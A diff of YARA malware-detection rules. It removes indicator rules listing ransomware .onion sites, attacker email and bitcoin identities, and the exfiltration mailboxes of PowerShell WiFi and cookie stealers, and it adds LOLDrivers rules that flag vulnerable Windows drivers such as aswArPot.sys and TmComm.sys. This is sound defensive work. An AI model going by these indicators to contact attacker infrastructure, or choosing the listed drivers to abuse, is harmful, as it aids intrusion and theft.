-		$pk8 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAugqZ4ATE9+9FqununW/DBvGosnUX/bNxQzMYUmE14GJIbNa6vwYSNXOlG09mvdAqZqD3lXihWDjy25+gzqSeS+Fs2qNyTdfGPA8iu2xx5RRUXKLGFThxtIzg3fohAK3+LxJVhxtuITAT38IHacc7dVLHsrddu4UDjiHGFdvXjB55Nwe5cu1BYylHsARMYycBA2FwLP57cKvc2/C3OXBAF6qbsVXBcyFhrKOOYA/+5IjFfEhgHy2FLHRf8lmPQPbSlrM6dk+W4D5KVqOPx/eFp0geUJJlmlre3flI29qWS20bkGqAEz9j07y69HGYN9Nt7+DRgBwrpNo/EkZkuaSTtQIDAQAB" ascii wide
-		$pk9 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuuAQlnowSGaSi2XgnwaHQAFZ6e7C0SwpAyyLTncJ4l5cwFbM+mwnV+iV3a+ert8WqOmW1aKOCjTPXrXNoirQgboVpLfhIIT1uOOss4O8lodRxgB6QrLCI7PYMZ+8VgIdEPPzsjmTFLxFc7DERxnSjhGdRQIjZNjm7bGScJD0MayDL9KTkVdJtC+C9n5dwEwg6XtQbwLDeaGZaByOgB/zR6tlcPQCNU9rj1qfcVrI/dFW4br/NnJbqrH714z+dvCa18IJTcu3kW74CAilvHrl5qFDd8CCQhjLrjQDPxAoCba9aXKr6dwt34/MU0tVRTYjzMAxR4yTh3oEjVT+HifvVwIDAQAB" ascii wide
-		$pk10 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwcPjnPl8bI1A0iudX70FKkTjnLjHyetHN2kAIcyOG10K8vm67n/Ma9mAnoDggD3D6UtAbwjvHwPW1m9WF+MrnBXmBizE0JpwOLtVFcHeVLJXlYn/C5RNZziTCwjauH6TlT7Mo/oHfg7nX4IXEuaeAZz8g9ioeJ1Lydi9ZZM1gmdNk8KuKR0zrrJ6MMAGrhMtblLFVwtMn7IlNjT/BgSL4pDyNa++wI5P4R2rMykJwGu/7o2kKE2IFimtFDyZ5a+CX46cdKt7uo5eKFiqf/jTes9/y5AgoS69mt4fRvWFhP7qHXRO2gG8XAc+9suhiuVUWZTAu3xXz5VsmBtk8pzcpwIDAQAB" ascii wide
-		$pk11 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwMQXFMtYf60KrbUVwNVoPhhrCTNMY3Zv+/WULZRZfJ4dMhYozDxtRVdtBDKtuYuHCGLu/Ymf9wKFFXgVH3En7qI1sU2UdjNR4086X8oSTMUn/GwEAEIZAHtSFuk6AXcXW+eO0yxPF+lt5AZcNnJocWBVZ8RWGvsQdtGgtZalttAynROC4RUGkvD1h1ssMteHWneFLpfzSPGlbu0s0cemsrTPmhexGIenup/YjNdmhbfvvYE9kZfPebGtZHw6oQXWcG7sAlvkGciJl3Eo9FznNj0K+v8WQW5L/UbosZaYVJbxlbtySvqUqZbkLKsmp91tr9bvTiDMZuXZS7iHVqchUQIDAQAB" ascii wide
-		$pk12 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxbKVxwYe4PpnPm0XtuqShDqFWCFRBw0tYo2vmLwVPlwa+0+ox8+nF0mzWC3ZZT2XkGSodszosOoocfKAwOjQnA+4/Hokl4hgG6K8O7wWuWlvgo4fkcZShy2cMY9FaC6e4bMfurlDFt7OVrKKWAyEGv49Etq6LNoyl5ddM/XmspG52gscRoIcOTwBL4bD8nVcamZXqE4j2mS62HicQ6q9YgRVs1PLbgVPbg8c2rFzpN1e8wZdPtvyGON0m3CmxsYa63yianbnBAS4WnxEnoI7eCZZNkblr+kZB4J9War5VYHu9lFw4XWeuHget/Rn8oGCJOMHkZMz23NpUVaX9htQAwIDAQAB" ascii wide
-		$url1 = "://zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide
-		$url2 = "://alphvmmm27o3abo3r2mlmjrpdmzle3rykajqc5xsj7j7ejksbpsa36ad.onion" ascii wide
-		$url3 = "://2cuqgeerjdba2rhdiviezodpu3lc4qz2sjf4qin6f7std2evleqlzjid.onion" ascii wide
-		$url4 = "://aoczppoxmfqqthtwlwi4fmzlrv6aor3isn6ffaiic55wrfumxslx3vyd.onion" ascii wide
-		$url5 = "://b4twqa2mvob3s6uvuyfra5xk3qgps2v5kkt7k2qnb7rpdu3j4fkntead.onion" ascii wide
-		$url6 = "://b6v4ojs7jfvftvcoagjxp7qz33yeljydqy6afzsh26vqbzcjwz4b3zad.onion" ascii wide
-		$url7 = "://htnpafzbvddr2llstwbjouupddflqm7y7cr7tcchbeo6rmxpqoxcbqqd.onion" ascii wide
-		$url8 = "://id7seexjn4bojn5rvo4lwcjgufjz7gkisaidckaux3uvjc7l7xrsiqad.onion" ascii wide
-		$url9 = "://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide
-		$url10 = "://odf3dt34tkqndw5h2l5gt2gwwd3jct5rwwjusbd3vlin2jueyv2qkgid.onion" ascii wide
-		$url11 = "://rfosusl6qdm4zhoqbqnjxaloprld2qz35u77h4aap46rhwkouejsooqd.onion" ascii wide
-		$url12 = "://sty5r4hhb5oihbq2mwevrofdiqbgesi66rvxr5sr573xgvtuvr4cs5yd.onion" ascii wide
-		$url13 = "://xqoykemmcivwtpxh3a6pu3w7sstr2y7hapxdiv4caaxidurmwwbjx2id.onion" ascii wide
-		$url14 = "://y4722ss64vel5hmph75te7lx2x5xz463322ypjirm5ytxviijtdpybid.onion" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e00310030002e003800300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e00310030002e003800300032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003100300020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		(1 of ($pk*) and 1 of ($url*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Koxic
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_D783 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with LokiLocker ransomware"
-		author = "ditekShen"
-		id = "4c4ff722-cac1-5967-9e79-681f47566e96"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L571-L580"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca4d0e85cf4c7a134609262e21d5cef98100ba0a046d17ffe51bf3975dc7cae9"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "12d08eab-49f0-5d40-bd2d-1a4834deaef1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1707-L1726"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f"
+		logic_hash = "f92c013f7c10a9c63b2f630b198d9ef360e944182b9760e8c268dc7145f82e95"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "wilhelmkox@tutanota.com" ascii wide nocase
-		$s2 = "F3C777D22A0686055A3558917315676D607026B680DA5C8D3D4D887017A2A844F546AE59F59F" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000330033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ryuk
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_4B52 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Ryuk ransomware"
-		author = "ditekShen"
-		id = "00cf99da-ff3c-5c91-8966-69a8afc8613a"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L582-L592"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2b6106fc49dd254ca936e285fa0c2a3aee7110832686638d20d369d77f6c48f"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys"
+		author = "Florian Roth"
+		id = "06a605d6-893e-5ee7-a3d7-bfb128363b81"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1729-L1748"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
+		logic_hash = "c1df652b20d7bbea94d71bdef159c26b59180b736859bb4a16d03880a99d2841"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "WayneEvenson@protonmail.com" ascii wide nocase
-		$s2 = "WayneEvenson@tutanota.com" ascii wide nocase
-		$s3 = "14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003100200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lockdown
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_38D6 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with LockDown / cantopen ransomware"
-		author = "ditekShen"
-		id = "603f0113-d77b-590c-b2a0-804c6d1fbfbc"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L594-L603"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cb17bb92d6e8189a08508481b75d301a1227906815c684753859914d77d7b3e7"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		id = "8ac8f353-494f-5940-a0f2-3f4ee61655e6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1751-L1770"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "38d6d90d543bf6037023c1b1b14212b4fa07731cbbb44bdb17e8faffc12b22e8"
+		logic_hash = "d1cc4c2d1335784f723849ab37131f3b5384628652594fe8e3a1ab4b0729eacd"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "CCWhite@onionmail.org" ascii wide nocase
-		$s2 = "bc1q6ug0vrxz66d564qznclu9yyyvn6zurskezmt64" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200034002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200034002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310033002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_LNK_BOI_MAC : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriverfle_42E1 : FILE
 {
 	meta:
-		description = "Detects Windows Shortcut .lnk files with previously known bad Birth Object ID and MAC address combination"
-		author = "ditekSHen"
-		id = "bfef07dc-a368-5119-82dd-de2096b17dd1"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L605-L637"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "31a7966a0ea0fca363d2b926b06c8acbdae0c24dd2156389196255dbbf4ed662"
-		score = 75
-		quality = 73
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_I2cIo.sys"
+		author = "Florian Roth"
+		id = "eb5f5339-f11a-5502-8feb-4bfbd4698a31"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1773-L1794"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb"
+		hash = "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65"
+		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
+		logic_hash = "cfdf34c33d78aebf592047ecc9f15b50d6c33c8d59e5d7684e9a862f440fa1ce"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$boi1 = { 2C ED AC EC 94 7A E8 11 9F DE 00 0C 29 A1 A9 40 }
-		$boi2 = { 3F 54 89 18 46 CB E8 11 BD 0E 08 00 27 6D D5 D9 }
-		$boi3 = { DE 63 02 FE 57 A2 E8 11 92 E8 5C F3 70 8B 16 F2 }
-		$boi4 = { C2 CC 13 98 18 B9 E2 41 82 40 54 A8 AD E2 0A 9A }
-		$boi5 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
-		$boi6 = { E4 51 EC 20 66 61 EA 11 85 CD B2 FC 36 31 EE 21 }
-		$boi7 = { 6E DD CE 86 0F 07 90 4B AF 18 38 2F 97 FB 53 62 }
-		$boi8 = { 25 41 87 AE F1 D2 EA 11 93 97 00 50 56 C0 00 08 }
-		$boi9 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
-		$boi10 = { 5C 46 EC 05 A6 60 EB 11 85 EB 8C 16 45 31 19 7F }
-		$boi11 = { 30 8B 17 86 9B 35 C5 40 A7 9D 48 5C D6 3D F3 5C }
-		$boi12 = { E5 21 1D 04 9D A4 E9 11 A9 37 00 0C 29 0F 29 89 }
-		$boi13 = { 34 5F AC 8A 4E CE ED 4D 8E 55 83 8E EA 24 B3 4E }
-		$boi14 = { 49 77 25 3B D6 E1 EB 11 9C BB 00 D8 61 85 FD 9F }
-		$mac1 = { 00 0C 29 A1 A9 40 }
-		$mac2 = { 08 00 27 6D D5 D9 }
-		$mac3 = { 5C F3 70 8B 16 F2 }
-		$mac4 = { 00 0C 29 5A 39 04 }
-		$mac5 = { B2 FC 36 31 EE 21 }
-		$mac6 = { 00 50 56 C0 00 08 }
-		$mac7 = { 8C 16 45 31 19 7F }
-		$mac8 = { 00 0C 29 0F 29 89 }
-		$mac9 = { 00 D8 61 85 FD 9F }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f002000640072006900760065007200200066006c0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f0049003200630049006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300036002000420049004f0053005400410052002000470072006f00750070 }
 
 	condition:
-		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize <3KB and (1 of ($boi*) and 1 of ($mac*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Powershellwifistealer
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytes_Elbycdio_Cdrtools_07AF : FILE
 {
 	meta:
-		description = "Detects email accounts used for exfiltration observed in PowerShellWiFiStealer"
-		author = "ditekShen"
-		id = "fa19e422-c682-5464-b034-330942daf3bd"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L691-L704"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f119b54032e2a6ca35819e811e6479b00936115d98ef6e928f4c819d04a8321f"
-		score = 75
-		quality = 63
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "3e0bd3b4-4a9f-5d06-ae16-f0c3acf8643a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1797-L1816"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "07af8c5659ad293214364789df270c0e6d03d90f4f4495da76abc2d534c64d88"
+		logic_hash = "832d90cd437cb6912630943fcae9e103341c0bc6770a4515525cf42f72812faa"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "hajdebebreidekreide@gmail.com" ascii wide nocase
-		$s2 = "usb@pterobot.net" ascii wide nocase
-		$s3 = "umairdadaber@gmail.com" ascii wide nocase
-		$s4 = "mrumairok@gmail.com" ascii wide nocase
-		$s5 = "credsenderbot@gmail.com" ascii wide nocase
-		$s6 = "easywareytb@gmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f003200300030003000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002c00200030002c00200030002c00200035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200045006c00610062006f007200610074006500200042007900740065007300200032003000300030 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Powershellcookiestealer
+rule LOLDRIVERS_PUA_VULN_Driver_Mitactechnologycorporation_Mtcbsvsys_Mitacsystemserviceprovider_C9CF : FILE
 {
 	meta:
-		description = "Detects email accounts used for exfiltration observed in PowerShellCookieStealer"
-		author = "ditekShen"
-		id = "c2bbb9a8-3e4c-5676-9676-2708a196ef8d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L706-L715"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bd404e94939acb92dd56a7d2a1f7536bcb3f520ca1e9dc614b53828afbc6dac8"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mtcBSv64.sys"
+		author = "Florian Roth"
+		id = "36fcbeca-f19e-54b8-9687-121bd9809e9d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1819-L1838"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8"
+		logic_hash = "402e0a50c61722ffbbf6778df2483750fae17d6a18d8b247d65df8302d725c14"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "senmn0w@gmail.com" ascii wide nocase
-		$s2 = "mohamed.trabelsi.ena2@gmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Zebrocy : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_7125 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "fc805e9d-47a0-5fcb-9b21-4806c13ab7b4"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1541-L1550"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "16b88460896012b42ca576995f5de98a7a9d2fcc53f8e148427bca31a883d19b"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "0a115fe0-135b-5087-97ef-c5631b50d13f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1841-L1860"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7125c9831a52d89d3d59fb28043b67fbe0068d69732da006fabb95550d1fa730"
+		logic_hash = "b91987339120b171bf8059bd06c95b25ec8124a902d53c0d05558e95bdfa588b"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"l6RAKXh3Wg1yzn63nita/b2_Y0DGY05NFWuZ_4gUT/H91sCRktnyyYVzECfvvA/l8f-yII0L_miSjIe-VQu\"" ascii
-		$s2 = "Go build ID: \"fiGGvLVFcvIhuJsSaail/jLt9TEPQiusg7IpRkp4H/hlcoXZIfsl1D4521LqEL/yL8dN86mCNc39WqQTgGn\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f00330032002f003600340020004b00650072006e0065006c0020004400720069007600650072 }
